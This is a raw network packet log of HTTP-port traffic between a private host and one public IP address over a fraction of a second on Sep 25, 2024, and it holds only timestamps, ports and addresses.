Sep 25, 2024 03:51:30.835608959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.858747005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858762026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858778954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858803034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.858808041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858828068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858839989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.858875036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.858917952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858935118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858952045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.858978987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.905462980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922142982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922174931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922190905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922208071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922223091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922280073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922321081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922339916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922357082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922370911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922382116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922406912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922466993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922483921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922499895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922517061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922533989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922535896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922560930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922655106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922672033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922718048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922827959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922843933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922859907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922872066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922878027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922895908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922899961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922914028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922930956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922940969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.922950983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.922966957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923158884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923187017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923202038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923213959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923218012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923235893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923249006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923254013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923273087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923280954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923290968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923307896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923324108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923331976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923361063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923598051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923614979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923631907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923648119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923660994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923666954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923675060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923685074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923700094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923702955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923721075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923743010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.923959017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.923984051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924000025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924011946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924024105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924036980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924041033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924057007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924072981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924093008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924098015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924115896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924124956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924133062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924149036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924153090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924168110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924184084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924184084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924201012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924217939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924233913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924238920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924252987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924262047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924288034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924597979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924613953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924628973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924643993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924660921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924665928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924678087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924690008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924695969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924714088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924719095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924735069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924761057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924763918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924782038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924797058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924813032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924813986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924829006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924845934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924854994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924863100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924875975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924880981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924894094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924897909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924916029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924932957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924937963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.924952030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.924988031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925694942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925720930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925738096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925754070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925765991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925769091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925786018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925792933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925802946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925806999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925821066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925837040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925853014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925857067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925870895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925873041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925889015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925894022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925905943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925909996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925924063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925935984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925940037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925956964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925971031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.925972939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.925988913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926006079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926028013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926028013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926047087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926054001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926064968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926079035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926083088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926131010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926487923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926505089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926531076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926547050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926548004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926563978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926582098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926590919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926603079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926618099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.926620960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.926649094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.949784040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949815989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949831009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949847937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949862003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.949891090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.949934959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949950933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949968100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949984074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.949986935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.950017929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.013609886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013628960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013658047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013673067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013690948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013705969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.013708115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013751984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.013761997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.013851881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013869047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013887882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.013926029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014072895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014086962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014096022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014102936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014112949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014225960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014336109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014350891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014367104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014380932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014399052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014415026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014422894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014432907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014471054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014517069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014533043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014569998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014687061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014703035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014719009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014734983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014759064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014759064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014770031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014779091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014792919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014810085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014823914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014827967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014837027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014846087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014863968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014870882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014878988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014894962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014909029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014910936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014924049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014935017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014940023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014956951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.014975071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.014993906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015223980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015247107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015263081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015278101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015294075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015301943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015311956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015326023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015330076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015347004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015353918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015362978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015378952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015403032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015412092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015427113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015429020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015443087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015460014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015475035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015485048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015491009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015506029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.015507936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.015526056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.016707897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016722918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016731977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016738892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016760111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016774893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016807079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.016858101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.016890049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016906977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016923904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016937017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.016942024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016958952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016968966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.016977072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016990900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.016999960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017038107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017251968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017267942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017285109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017301083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017316103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017318010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017333031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017337084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017349958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017365932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017375946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017380953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017405987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017422915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017441988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017455101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017469883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017476082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017487049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017499924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017502069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017518044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017533064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017539978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017548084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017571926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017592907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017620087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017636061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017651081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017666101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.017678022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.017708063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.018162012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018177032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018191099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018205881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018223047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018238068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018241882 CEST	49730	80	192.168.2.4	3.80.28.180
